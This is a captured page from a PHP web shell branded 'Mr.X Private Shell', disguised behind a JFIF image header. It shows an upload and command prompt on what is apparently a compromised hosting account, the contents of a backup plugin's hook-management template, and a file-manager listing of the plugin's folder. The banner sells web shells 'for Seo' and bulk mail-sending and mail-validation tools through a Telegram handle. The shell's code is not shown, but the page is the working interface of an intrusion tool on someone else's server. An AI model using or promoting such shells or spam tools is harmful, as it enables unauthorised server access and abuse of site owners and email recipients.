����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
<div ng-controller="hookManage" class="controller-box">
    <h1 ng-if="saveData._id">{{ lang.t("Modify Hook \"%s\"", details.name) }}</h1>
    <h1 ng-if="!saveData._id">{{ lang.t("Create New Hook") }}</h1>

    <div class="alert alert-warning">
        <span class='fas fa-exclamation-circle'></span>
        <div class='alert-message'>
            {{ lang.t("WARNING - Adding a hook may override your GDPR or Privacy Policy.") }}<br />
            {{ lang.t("Please verify the actions of your hook will not create unintended GDPR or Privacy Policy exceptions.") }}
        </div>
    </div>
    <div class="row">
        <div class="col-md-12 col-sm-12 col-xs-12">
            <div class="x_panel">
                <div class="x_content">
                    <br>

                    <form data-parsley-validate="" class="form-horizontal form-label-left" novalidate>
                        <div class="form-group">
                            <label class="control-label col-md-3 col-sm-3 col-xs-12" for="name">{{ lang.t("Hook Name") }} <span class="required">*</span></label>
                            <div class="col-md-6 col-sm-6 col-xs-12">
                                <input id="name" class="form-control col-md-7 col-xs-12" type="text" ng-model="saveData.name" value="" />
                                <p class="help-block">{{ lang.t("This will be used internally for your convenience") }}</p>
                            </div>
                        </div>
                        <div class="form-group">
                            <label class="control-label col-md-3 col-sm-3 col-xs-12" for="position_type">{{ lang.t("Hook Position") }} <span class="required">*</span></label>
                            <div class="col-md-6 col-sm-6 col-xs-12">
                                <select id="position_type" class="form-control" data-ng-options="type.value as type.label for type in position_types" data-ng-model="saveData.position_type"></select>
                            </div>
                        </div>
                        <div class="form-group">
                            <label class="control-label col-md-3 col-sm-3 col-xs-12" for="position">{{ lang.t("Hook Type") }} <span class="required">*</span></label>
                            <div class="col-md-6 col-sm-6 col-xs-12">
                                <select id="position" class="form-control" data-ng-options="position.value as position.label for position in positions" data-ng-model="saveData.position" ng-change="resetList()"></select>
                            </div>
                        </div>
                        <div class="form-group" ng-show="saveData.position == const.HOOK_POSITION_BACKUP || saveData.position == const.HOOK_POSITION_BACKUP_ACCOUNT">
                            <label class="control-label col-md-3 col-sm-3 col-xs-12">{{ lang.t("Backup Jobs") }}</label>
                            <div class="col-md-6 col-sm-6 col-xs-12">
                                <div class="input-group">
                                    <md-autocomplete
                                            md-search-text="searchBackupText"
                                            md-no-cache="true"
                                            md-clear-button="false"
                                            md-input-id="jobSelection"
                                            md-menu-class="job-selection-results"
                                            md-selected-item-change="selectItem(job, this)"
                                            md-items="job in searchBackupJobs(searchBackupText)"
                                            md-min-length="2"
                                            placeholder="{{ lang.t('Start typing the requested backup job name...') }}">

                                        <md-item-template>
                                            <strong>{{job.name}}</strong> - {{job.contains_name}} 
                                            <span ng-show="job.flag == 1">{{ lang.t('Incremental') }}</span><br />
                                            <span ng-show="job.flag == 2">{{ lang.t('Archived') }}</span><br />
                                            <span ng-show="job.flag == 4">{{ lang.t('Compressed') }}</span><br />
                                            <span style="font-size: 10px;">{{ lang.t("ID") }}: {{ job._id }}</span>
                                        </md-item-template>
                                        <md-not-found>
                                            {{ lang.t("No backup jobs matching \"%s\" were found.", searchBackupText) }}
                                        </md-not-found>
                                    </md-autocomplete>
                                    <div class="include-btns" ng-show="saveData.data_list.length">
                                        <button type="button" ng-click="saveData.data_list.splice($index, 1)" class="btn btn-primary btn-xs" ng-repeat="job in saveData.data_list track by $index">
                                            <em aria-hidden="true" class="fas fa-times"></em>&nbsp;&nbsp;
                                            {{ backups[job].name }}
                                        </button>
                                    </div>
                                    <div class="input-group-btn" style="vertical-align: top;">
                                        <button type="button" class="btn btn-primary" ng-click="itemsSelection()">{{ lang.t("List Backup Jobs") }}</button>
                                    </div>
                                </div>
                                <p class="help-block">{{ lang.t("Leave empty to execute in all backup jobs") }}</p>
                            </div>
                        </div>
                        <div class="form-group" ng-show="saveData.position == const.HOOK_POSITION_CLONE || saveData.position == const.HOOK_POSITION_CLONE_ACCOUNT">
                            <label class="control-label col-md-3 col-sm-3 col-xs-12">{{ lang.t("Clone Jobs") }}</label>
                            <div class="col-md-6 col-sm-6 col-xs-12">
                                <div class="input-group">
                                    <md-autocomplete
                                            md-search-text="searchCloneText"
                                            md-no-cache="true"
                                            md-clear-button="false"
                                            md-input-id="jobSelection"
                                            md-menu-class="job-selection-results"
                                            md-selected-item-change="selectItem(job, this)"
                                            md-items="job in searchCloneJobs(searchCloneText)"
                                            md-min-length="2"
                                            placeholder="{{ lang.t('Start typing the requested clone job name...') }}">

                                        <md-item-template>
                                            <strong>{{job.name}}</strong> - {{job.contains_name}}<br />
                                            <span style="font-size: 10px;">{{ lang.t("ID") }}: {{ job._id }}</span>
                                        </md-item-template>
                                        <md-not-found>
                                            {{ lang.t("No clone jobs matching \"%s\" were found.", searchCloneText) }}
                                        </md-not-found>
                                    </md-autocomplete>
                                    <div class="include-btns" ng-show="saveData.data_list.length">
                                        <button type="button" ng-click="saveData.data_list.splice($index, 1)" class="btn btn-primary btn-xs" ng-repeat="job in saveData.data_list track by $index">
                                            <em aria-hidden="true" class="fas fa-times"></em>&nbsp;&nbsp;
                                            {{ clones[job].name }}
                                        </button>
                                    </div>
                                    <div class="input-group-btn" style="vertical-align: top;">
                                        <button type="button" class="btn btn-primary" ng-click="itemsSelection()">{{ lang.t("List Clone Jobs") }}</button>
                                    </div>
                                </div>
                                <p class="help-block">{{ lang.t("Leave empty to execute in all clone jobs") }}</p>
                            </div>
                        </div>
                        <div class="form-group" ng-show="saveData.position == const.HOOK_POSITION_REINDEX">
                            <label class="control-label col-md-3 col-sm-3 col-xs-12">{{ lang.t("Destinations") }}</label>
                            <div class="col-md-6 col-sm-6 col-xs-12">
                                <div class="input-group">
                                    <md-autocomplete
                                            md-search-text="searchDestinationText"
                                            md-no-cache="true"
                                            md-clear-button="false"
                                            md-input-id="jobSelection"
                                            md-menu-class="job-selection-results"
                                            md-selected-item-change="selectItem(destination, this)"
                                            md-items="destination in searchDestinations(searchDestinationText)"
                                            md-min-length="2"
                                            placeholder="{{ lang.t('Start typing the requested destination name...') }}">

                                        <md-item-template>
                                            <strong>{{destination.name}}</strong><br />
                                            <span style="font-size: 10px;">{{ lang.t("ID") }}: {{ destination._id }}</span>
                                        </md-item-template>
                                        <md-not-found>
                                            {{ lang.t("No destinations matching \"%s\" were found.", searchDestinationText) }}
                                        </md-not-found>
                                    </md-autocomplete>
                                    <div class="include-btns" ng-show="saveData.data_list.length">
                                        <button type="button" ng-click="saveData.data_list.splice($index, 1)" class="btn btn-primary btn-xs" ng-repeat="destination in saveData.data_list track by $index">
                                            <em aria-hidden="true" class="fas fa-times"></em>&nbsp;&nbsp;
                                            {{ destinations[destination].name }}
                                        </button>
                                    </div>
                                    <div class="input-group-btn" style="vertical-align: top;">
                                        <button type="button" class="btn btn-primary" ng-click="itemsSelection()">{{ lang.t("List Destinations") }}</button>
                                    </div>
                                </div>
                                <p class="help-block">{{ lang.t("Leave empty to execute in all destinations") }}</p>
                            </div>
                        </div>
                        <div class="form-group" ng-show="saveData.position == const.HOOK_POSITION_RESTORE || saveData.position == const.HOOK_POSITION_DOWNLOAD">
                            <label class="control-label col-md-3 col-sm-3 col-xs-12">{{ saveData.position == const.HOOK_POSITION_RESTORE ? lang.t("Restore Types") : lang.t("Download Types") }}</label>
                            <div class="col-md-6 col-sm-6 col-xs-12">
                                <div class="pretty p-default p-curve p-smooth" ng-repeat="type in types[saveData.position] track by $index" id="daily_row_{{$index}}">
                                    <input type="checkbox" id="daily_{{type.value}}" ng-checked="saveData.data_list.indexOf(type.value) >= 0" ng-click="manageTypesList(type.value)" />
                                    <div class="state p-primary"><label for="daily_{{type.value}}">{{ type.label }}</label></div>
                                </div>
                                <p class="help-block">{{ lang.t("Leave unchecked all to execute in all types") }}</p>
                            </div>
                        </div>
                        <div class="form-group">
                            <label class="control-label col-md-3 col-sm-3 col-xs-12" for="script">{{ lang.t("Hook Script") }} <span class="required">*</span></label>
                            <div class="col-md-6 col-sm-6 col-xs-12">
                                <input id="script" class="form-control col-md-7 col-xs-12" type="text" ng-model="saveData.script" value="" />
                                <p class="help-block">{{ lang.t("The script you want to execute when hook is triggered") }}</p>
                            </div>
                        </div>
                    </form>


                    <div class="ln_solid"></div>
                    <div class="form-group">
                        <div class="col-md-6 col-sm-6 col-xs-12 col-md-offset-3" ng-if="changed">
                            <button class="btn btn-default" ng-click="cancel()">{{ lang.t("Cancel") }}</button>
                            <button class="btn btn-primary" ng-click="saveChanges(true)" ng-disabled="saveing">{{ lang.t("Apply") }}</button>
                            <button class="btn btn-primary" ng-click="saveChanges()" ng-disabled="saveing">{{ lang.t("Save") }}</button>
                        </div>
                        <div class="col-md-6 col-sm-6 col-xs-12 col-md-offset-3" ng-if="!changed">
                            <a href="{{primaryURL}}/hooks" class="btn btn-default"  ng-click="changeView('/hooks')">{{ lang.t("Back to Hooks") }}</a>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>

Filemanager

Name Type Size Permission Actions
accountFilters Folder 0755
destinations Folder 0755
disasterRecovery Folder 0755
notifications Folder 0755
settings Folder 0755
support Folder 0755
404.htm File 692 B 0644
accountActions.htm File 1.21 KB 0644
accountBackups.htm File 18.06 KB 0644
accountBackupsDownloadSummary.htm File 2.86 KB 0644
accountBackupsLockSummary.htm File 1.44 KB 0644
accountBackupsRestoreSummary.htm File 8.97 KB 0644
accountBackupsUnlockSummary.htm File 648 B 0644
accountDownloads.htm File 3.71 KB 0644
accountDropdown.htm File 1.18 KB 0644
accountExcludeListSelection.htm File 2.59 KB 0644
accountFilterActions.htm File 495 B 0644
accountFilterGroupActions.htm File 498 B 0644
accountFilterGroupManage.htm File 1.52 KB 0644
accountFilterGroupManageFields.htm File 1.26 KB 0644
accountFilterGroupManagePopup.htm File 581 B 0644
accountFilterGroupSelection.htm File 1.25 KB 0644
accountFilterGroups.htm File 5.06 KB 0644
accountFilterManage.htm File 1.49 KB 0644
accountFilterManageFields.htm File 3.17 KB 0644
accountFilterManagePopup.htm File 565 B 0644
accountFilters.htm File 4.57 KB 0644
accountManage.htm File 8.49 KB 0644
accountOrphanActions.htm File 587 B 0644
accountPackagesSelection.htm File 992 B 0644
accountReassign.htm File 3.24 KB 0644
accountSelection.htm File 1.35 KB 0644
accounts.htm File 10.93 KB 0644
accountsOrphans.htm File 7.91 KB 0644
accountsSelection.htm File 1.06 KB 0644
addons.htm File 1.04 KB 0644
agreement.htm File 44.62 KB 0644
agreementPanel.htm File 2.01 KB 0644
alerts.htm File 5.28 KB 0644
backupJobActions.htm File 2.09 KB 0644
backupJobManage.htm File 29.23 KB 0644
backupJobs.htm File 10.26 KB 0644
backupJobsSelection.htm File 958 B 0644
backupLockSelection.htm File 1.27 KB 0644
cloneJobActions.htm File 1.93 KB 0644
cloneJobManage.htm File 22.33 KB 0644
cloneJobs.htm File 7.68 KB 0644
cloneJobsSelection.htm File 955 B 0644
confirm.htm File 535 B 0644
dashboard.htm File 29.3 KB 0644
destinationActions.htm File 4.04 KB 0644
destinationManage.htm File 10.9 KB 0644
destinations.htm File 10.59 KB 0644
destinationsSelection.htm File 1.08 KB 0644
disableUI.htm File 318 B 0644
disasterRecovery.htm File 2.58 KB 0644
downloads.htm File 5.9 KB 0644
encryptionKeySelection.htm File 1.03 KB 0644
extension.htm File 6.73 KB 0644
fileBrowse.htm File 4.93 KB 0644
fileManager.htm File 1.87 KB 0644
fileManagerDownload.htm File 840 B 0644
fileManagerPopup.htm File 424 B 0644
fileManagerRestore.htm File 1.03 KB 0644
fileManagerView.htm File 6.24 KB 0644
filePermissions.htm File 5.78 KB 0644
filePermissionsActions.htm File 503 B 0644
filePermissionsManage.htm File 6.45 KB 0644
hookActions.htm File 1.12 KB 0644
hookManage.htm File 14.09 KB 0644
hooks.htm File 5.94 KB 0644
license.htm File 1.71 KB 0644
listSelection.htm File 834 B 0644
logActions.htm File 1.24 KB 0644
logItemActions.htm File 616 B 0644
logItems.htm File 7.99 KB 0644
logViewer.htm File 1.64 KB 0644
login.htm File 5 B 0644
logs.htm File 7.02 KB 0644
main.htm File 9.06 KB 0644
modifyDatabasesExcludes.htm File 1.19 KB 0644
modifyMongoDBExcludes.htm File 1.04 KB 0644
modifyMySQLExcludes.htm File 1.03 KB 0644
modifyPostgreSQLExcludes.htm File 1.04 KB 0644
myAccount.htm File 9.88 KB 0644
packageActions.htm File 402 B 0644
packages.htm File 6.17 KB 0644
permissions.htm File 5.59 KB 0644
plugin.htm File 76 B 0644
pluginActions.htm File 1.43 KB 0644
pluginManage.htm File 5.3 KB 0644
plugins.htm File 1.48 KB 0644
queue.htm File 8.43 KB 0644
queueActions.htm File 815 B 0644
queueItemActions.htm File 464 B 0644
queueItems.htm File 8.97 KB 0644
queueLogViewer.htm File 1.71 KB 0644
queuePriorities.htm File 5.59 KB 0644
queuePriorityActions.htm File 927 B 0644
queuePriorityManage.htm File 7.1 KB 0644
repositories.htm File 3.44 KB 0644
repositoryActions.htm File 755 B 0644
repositoryManage.htm File 2.85 KB 0644
restore.htm File 1.19 KB 0644
restoreConditionActions.htm File 1.05 KB 0644
restoreConditionManage.htm File 2.22 KB 0644
restoreConditions.htm File 3.26 KB 0644
restoreDirectories.htm File 8.81 KB 0644
restoreDisasterRecovery.htm File 5.97 KB 0644
restoreMultiAccount.htm File 49.16 KB 0644
restoreSingle.htm File 14.48 KB 0644
restoreSingleAccount.htm File 1.95 KB 0644
scheduleActions.htm File 689 B 0644
scheduleManage.htm File 1.67 KB 0644
scheduleManageFields.htm File 5.99 KB 0644
scheduleManagePopup.htm File 670 B 0644
scheduleSelection.htm File 1.98 KB 0644
schedules.htm File 4.27 KB 0644
security.htm File 4.69 KB 0644
securityAvailablePlugins.htm File 737 B 0644
settings.htm File 2.12 KB 0644
showcase.htm File 640 B 0644
sideMenu.htm File 213 B 0644
support.htm File 2.59 KB 0644
tagActions.htm File 620 B 0644
tagManage.htm File 3.84 KB 0644
tags.htm File 4.13 KB 0644
tagsSelection.htm File 1.25 KB 0644